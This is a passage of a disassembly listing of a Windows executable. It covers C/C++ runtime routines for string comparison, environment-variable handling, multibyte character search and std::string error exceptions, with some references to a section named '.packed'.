		lea	esi, [ebp+var_C]


loc_4190D2:				; CODE XREF: sub_41906D+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_418E4D
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_4190DF:				; CODE XREF: sub_41906D+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_4190A7
		pop	edi
		pop	esi


loc_4190E6:				; CODE XREF: sub_41906D+14j
					; sub_41906D+36j
		pop	ebx
		leave
		retn
sub_41906D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190E9	proc near		; CODE XREF: sub_418C8A+8Bp
					; sub_418C8A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4BB8C0
		jnb	short loc_419150
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4BB7C0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_419150
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_419129
		and	cl, 7Fh
		jmp	short loc_419136
; ---------------------------------------------------------------------------


loc_419129:				; CODE XREF: sub_4190E9+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_419144
		or	cl, 80h


loc_419136:				; CODE XREF: sub_4190E9+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419144:				; CODE XREF: sub_4190E9+48j
		mov	dword_4BA284, 16h
		jmp	short loc_41915A
; ---------------------------------------------------------------------------


loc_419150:				; CODE XREF: sub_4190E9+Bj
					; sub_4190E9+27j
		mov	dword_4BA284, 9


loc_41915A:				; CODE XREF: sub_4190E9+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_4190E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41915F	proc near		; CODE XREF: sub_418DD0+5Ep
					; sub_419610+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_41916C
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41916C:				; CODE XREF: sub_41915F+7j
		push	dword_4BB584
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4BB7A4
		call	sub_41920C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_419199
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419199:				; CODE XREF: sub_41915F+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_41915F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41919E	proc near		; CODE XREF: sub_418DD0+1Ep
					; sub_419489+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4BA2B4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_4191FF
		mov	ebx, dword_41A058


loc_4191B7:				; CODE XREF: sub_41919E+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_419207
		push	ebp
		call	sub_40E882
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_419207
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_419207
		push	edi
		push	[esp+18h+var_4]
		call	sub_419489
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_4191B7


loc_4191FF:				; CODE XREF: sub_41919E+11j
		xor	eax, eax


loc_419201:				; CODE XREF: sub_41919E+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_419207:				; CODE XREF: sub_41919E+29j
					; sub_41919E+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_419201
sub_41919E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41920C	proc near		; CODE XREF: sub_41915F+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41A8B0
		push	offset sub_416728
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4BA568, ebx
		push	1
		pop	edi
		jnz	short loc_41927F
		push	edi
		mov	eax, offset dword_41A500
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_41A008	; CompareStringW
		test	eax, eax
		jz	short loc_41925C
		mov	dword_4BA568, edi
		jmp	short loc_41927F
; ---------------------------------------------------------------------------


loc_41925C:				; CODE XREF: sub_41920C+46j
		push	edi
		mov	eax, offset dword_424F04
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_41A00C	; CompareStringA
		test	eax, eax
		jz	loc_419475
		mov	dword_4BA568, 2


loc_41927F:				; CODE XREF: sub_41920C+31j
					; sub_41920C+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_419296
		push	esi
		push	[ebp+arg_8]
		call	sub_415AC8
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_419296:				; CODE XREF: sub_41920C+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_4192AB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_415AC8
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_4192AB:				; CODE XREF: sub_41920C+8Dj
		mov	eax, dword_4BA568
		cmp	eax, 2
		jnz	short loc_4192D0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41A00C	; CompareStringA
		jmp	loc_419477
; ---------------------------------------------------------------------------


loc_4192D0:				; CODE XREF: sub_41920C+A7j
		cmp	eax, edi
		jnz	loc_419475
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4192E5
		mov	eax, dword_4BA324
		mov	[ebp+arg_18], eax


loc_4192E5:				; CODE XREF: sub_41920C+CFj
		cmp	esi, ebx
		jz	short loc_4192F2
		cmp	[ebp+arg_14], ebx
		jnz	loc_41938A


loc_4192F2:				; CODE XREF: sub_41920C+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_4192FF


loc_4192F7:				; CODE XREF: sub_41920C+13Cj
					; sub_41920C+16Dj
		push	2


loc_4192F9:				; CODE XREF: sub_41920C+146j
		pop	eax
		jmp	loc_419477
; ---------------------------------------------------------------------------


loc_4192FF:				; CODE XREF: sub_41920C+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_41930B


loc_419304:				; CODE XREF: sub_41920C+151j
					; sub_41920C+159j ...
		mov	eax, edi
		jmp	loc_419477
; ---------------------------------------------------------------------------


loc_41930B:				; CODE XREF: sub_41920C+F6j
		cmp	esi, edi
		jg	short loc_419350
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_41A04C	; GetCPInfo
		test	eax, eax
		jz	loc_419475
		cmp	esi, ebx
		jle	short loc_419354
		cmp	[ebp+var_3C], 2
		jb	short loc_419350
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_419350


loc_419336:				; CODE XREF: sub_41920C+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_419350
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41934A
		cmp	cl, dl
		jbe	short loc_4192F7


loc_41934A:				; CODE XREF: sub_41920C+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_419336


loc_419350:				; CODE XREF: sub_41920C+101j
					; sub_41920C+120j ...
		push	3
		jmp	short loc_4192F9
; ---------------------------------------------------------------------------


loc_419354:				; CODE XREF: sub_41920C+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_41938A
		cmp	[ebp+var_3C], 2
		jb	short loc_419304
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_419304


loc_419367:				; CODE XREF: sub_41920C+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_419304
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41937F
		cmp	cl, dl
		jbe	loc_4192F7


loc_41937F:				; CODE XREF: sub_41920C+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_419367
		jmp	loc_419304
; ---------------------------------------------------------------------------


loc_41938A:				; CODE XREF: sub_41920C+E0j
					; sub_41920C+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_41A064	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_419475
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_40EC80
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4193D9
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4193D9:				; CODE XREF: sub_41920C+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_419475
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_41A064
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_419475
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_419475
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40EC80
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_419444
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_419444:				; CODE XREF: sub_41920C+224j
		cmp	edi, ebx
		jz	short loc_419475
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_41A064	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_419475
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41A008	; CompareStringW
		jmp	short loc_419477
; ---------------------------------------------------------------------------


loc_419475:				; CODE XREF: sub_41920C+63j
					; sub_41920C+C6j ...
		xor	eax, eax


loc_419477:				; CODE XREF: sub_41920C+BFj
					; sub_41920C+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41920C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419489	proc near		; CODE XREF: sub_41919E+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_4194ED
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4196CF
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_4194ED
		cmp	[ebp+arg_0], esi
		jz	short loc_4194ED
		mov	eax, dword_4BA2AC
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4BA2B0
		jnz	short loc_4194D3
		push	eax
		call	sub_419668
		pop	ecx
		mov	dword_4BA2AC, eax


loc_4194D3:				; CODE XREF: sub_419489+3Cj
		cmp	eax, edi
		jnz	short loc_41952B
		cmp	[ebp+arg_4], edi
		jz	short loc_4194F5
		cmp	dword_4BA2B4, edi
		jz	short loc_4194F5
		call	sub_41919E
		test	eax, eax
		jz	short loc_41952B


loc_4194ED:				; CODE XREF: sub_419489+Dj
					; sub_419489+22j ...
		or	eax, 0FFFFFFFFh


loc_4194F0:				; CODE XREF: sub_419489+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4194F5:				; CODE XREF: sub_419489+51j
					; sub_419489+59j
		cmp	ebx, edi
		jnz	loc_419609
		push	4
		call	sub_40E882
		cmp	eax, edi
		pop	ecx
		mov	dword_4BA2AC, eax
		jz	short loc_4194ED
		mov	[eax], edi
		cmp	dword_4BA2B4, edi
		jnz	short loc_41952B
		push	4
		call	sub_40E882
		cmp	eax, edi
		pop	ecx
		mov	dword_4BA2B4, eax
		jz	short loc_4194ED
		mov	[eax], edi


loc_41952B:				; CODE XREF: sub_419489+4Cj
					; sub_419489+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4BA2AC
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_419610
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_41958B
		cmp	dword ptr [edi], 0
		jz	short loc_41958B
		test	ebx, ebx
		jz	short loc_419583
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_40ECAF
		pop	ecx


loc_41955D:				; CODE XREF: sub_419489+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_41956D
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_41955D
; ---------------------------------------------------------------------------


loc_41956D:				; CODE XREF: sub_419489+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_414008
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4195BD
		jmp	short loc_4195B8
; ---------------------------------------------------------------------------


loc_419583:				; CODE XREF: sub_419489+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4195BD
; ---------------------------------------------------------------------------


loc_41958B:				; CODE XREF: sub_419489+BDj
					; sub_419489+C2j
		test	ebx, ebx
		jnz	short loc_419609
		test	esi, esi
		jge	short loc_419595
		neg	esi


loc_419595:				; CODE XREF: sub_419489+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_414008
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4194ED
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4195B8:				; CODE XREF: sub_419489+F8j
		mov	dword_4BA2AC, eax


loc_4195BD:				; CODE XREF: sub_419489+F6j
					; sub_419489+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_419609
		push	[ebp+arg_0]
		call	sub_40E730
		inc	eax
		inc	eax
		push	eax
		call	sub_40E882
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_419609
		push	[ebp+arg_0]
		push	esi
		call	sub_40ED20
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_41A004	; SetEnvironmentVariableA
		push	esi
		call	sub_40ECAF
		pop	ecx


loc_419609:				; CODE XREF: sub_419489+6Ej
					; sub_419489+104j ...
		xor	eax, eax
		jmp	loc_4194F0
sub_419489	endp


; =============== S U B	R O U T	I N E =======================================



sub_419610	proc near		; CODE XREF: sub_419489+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4BA2AC
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41964B
		mov	edi, [esp+8+arg_4]


loc_419622:				; CODE XREF: sub_419610+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_41915F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419641
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_41965B
		test	al, al
		jz	short loc_41965B


loc_419641:				; CODE XREF: sub_419610+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_419622


loc_41964B:				; CODE XREF: sub_419610+Cj
		mov	eax, esi
		sub	eax, dword_4BA2AC
		sar	eax, 2
		neg	eax


loc_419658:				; CODE XREF: sub_419610+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41965B:				; CODE XREF: sub_419610+2Bj
					; sub_419610+2Fj
		mov	eax, esi
		sub	eax, dword_4BA2AC
		sar	eax, 2
		jmp	short loc_419658
sub_419610	endp


; =============== S U B	R O U T	I N E =======================================



sub_419668	proc near		; CODE XREF: sub_419489+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_419677
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419677:				; CODE XREF: sub_419668+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_419689


loc_41967F:				; CODE XREF: sub_419668+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_41967F


loc_419689:				; CODE XREF: sub_419668+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_40E882
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4196AA
		push	9
		call	sub_410C52
		pop	ecx


loc_4196AA:				; CODE XREF: sub_419668+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4196AE:				; CODE XREF: sub_419668+5Bj
		test	eax, eax
		jz	short loc_4196C5
		push	eax
		add	ebx, 4
		call	sub_419742
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4196AE
; ---------------------------------------------------------------------------


loc_4196C5:				; CODE XREF: sub_419668+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_419668	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196CF	proc near		; CODE XREF: sub_419489+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4BB59C, 0
		jnz	short loc_4196EA
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_410AA0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4196EA:				; CODE XREF: sub_4196CF+Aj
		mov	ecx, [ebp+arg_0]


loc_4196ED:				; CODE XREF: sub_4196CF+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_419730
		movzx	edx, al
		test	byte_4BB6A1[edx], 4
		jz	short loc_41971C
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_419727
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_41972B
		jmp	short loc_419724
; ---------------------------------------------------------------------------


loc_41971C:				; CODE XREF: sub_4196CF+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_419730


loc_419724:				; CODE XREF: sub_4196CF+4Bj
		inc	ecx
		jmp	short loc_4196ED
; ---------------------------------------------------------------------------


loc_419727:				; CODE XREF: sub_4196CF+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41972B:				; CODE XREF: sub_4196CF+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419730:				; CODE XREF: sub_4196CF+25j
					; sub_4196CF+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4196CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_419742	proc near		; CODE XREF: sub_4048B2+21p
					; sub_419668+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_419769
		push	esi
		call	sub_40E730
		inc	eax
		push	eax
		call	sub_40E882
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419769
		push	esi
		push	eax
		call	sub_40ED20
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419769:				; CODE XREF: sub_419742+7j
					; sub_419742+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_419742	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419770	proc near		; CODE XREF: sub_419853+19p
					; sub_41997A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40E730
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_402616
		mov	eax, esi
		pop	esi
		retn	8
sub_419770	endp


; =============== S U B	R O U T	I N E =======================================



sub_41979A	proc near		; CODE XREF: .packed:004197C5p
					; sub_419848+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	nullsub_1
		call	sub_4025DA
		mov	ecx, esi
		pop	esi
		jmp	sub_419BAB
sub_41979A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197B5	proc near		; DATA XREF: .packed:0041A8D0o
					; .packed:0041A8E0o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4197C1
		mov	eax, offset dword_41A238

locret_4197C1:				; CODE XREF: sub_4197B5+5j
		retn
sub_4197B5	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, ecx
		call	sub_41979A
		test	byte ptr [esp+8], 1
		jz	short loc_4197D8
		push	esi
		call	sub_40F46F
		pop	ecx


loc_4197D8:				; CODE XREF: .packed:004197CFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4197DE	proc near		; CODE XREF: sub_419853+29p
		mov	eax, offset loc_419C62
		call	sub_40F450
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_41A8E8
		call	sub_419B24
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	nullsub_1
		call	sub_419890
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_41A8DC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4197DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41982C	proc near		; DATA XREF: .packed:off_41A8DCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_419848
		test	[esp+4+arg_0], 1
		jz	short loc_419842
		push	esi
		call	sub_40F46F
		pop	ecx


loc_419842:				; CODE XREF: sub_41982C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41982C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419848	proc near		; CODE XREF: sub_41982C+3p
					; DATA XREF: .packed:0041AC24o
		mov	dword ptr [ecx], offset	off_41A8DC
		jmp	sub_41979A
sub_419848	endp


; =============== S U B	R O U T	I N E =======================================



sub_419853	proc near		; CODE XREF: sub_402487+13p
					; sub_40264B+Ep
		mov	eax, offset loc_419C74
		call	sub_40F450
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_419770
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4197DE
		push	offset dword_41AC20
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_419BCE
		int	3		; Trap to Debugger
sub_419853	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419890	proc near		; CODE XREF: sub_4197DE+32p
					; sub_4198B0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_402487
		mov	eax, esi
		pop	esi
		retn	4
sub_419890	endp


; =============== S U B	R O U T	I N E =======================================



sub_4198B0	proc near		; CODE XREF: sub_41997A+29p
		mov	eax, offset loc_419C86
		call	sub_40F450
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_41A8E8
		call	sub_419B24
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	nullsub_1
		call	sub_419890
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4198B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4198F8	proc near		; CODE XREF: sub_419962+7p
					; sub_4199BE+7p ...
		mov	eax, offset loc_419C98
		call	sub_40F450
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_419B61
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	nullsub_1
		call	sub_419890
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4198F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41993B	proc near		; DATA XREF: .packed:off_41A908o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_419957
		test	[esp+4+arg_0], 1
		jz	short loc_419951
		push	esi
		call	sub_40F46F
		pop	ecx


loc_419951:				; CODE XREF: sub_41993B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41993B	endp


; =============== S U B	R O U T	I N E =======================================



sub_419957	proc near		; CODE XREF: sub_41993B+3p
					; DATA XREF: .packed:0041ACCCo
		mov	dword ptr [ecx], offset	off_41A908
		jmp	sub_41979A
sub_419957	endp


; =============== S U B	R O U T	I N E =======================================



sub_419962	proc near		; CODE XREF: sub_4199D6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_4198F8
		mov	dword ptr [esi], offset	off_41A8DC
		mov	eax, esi
		pop	esi
		retn	4
sub_419962	endp


; =============== S U B	R O U T	I N E =======================================



sub_41997A	proc near		; CODE XREF: sub_4023D7+15p
					; sub_402430+15p ...
		mov	eax, offset loc_419CAA
		call	sub_40F450
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_419770
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4198B0
		push	offset dword_41ACC8
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_41A908
		call	sub_419BCE
		int	3		; Trap to Debugger
sub_41997A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199BE	proc near		; CODE XREF: sub_4199D6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_4198F8
		mov	dword ptr [esi], offset	off_41A908
		mov	eax, esi
		pop	esi
		retn	4
sub_4199BE	endp


; =============== S U B	R O U T	I N E =======================================

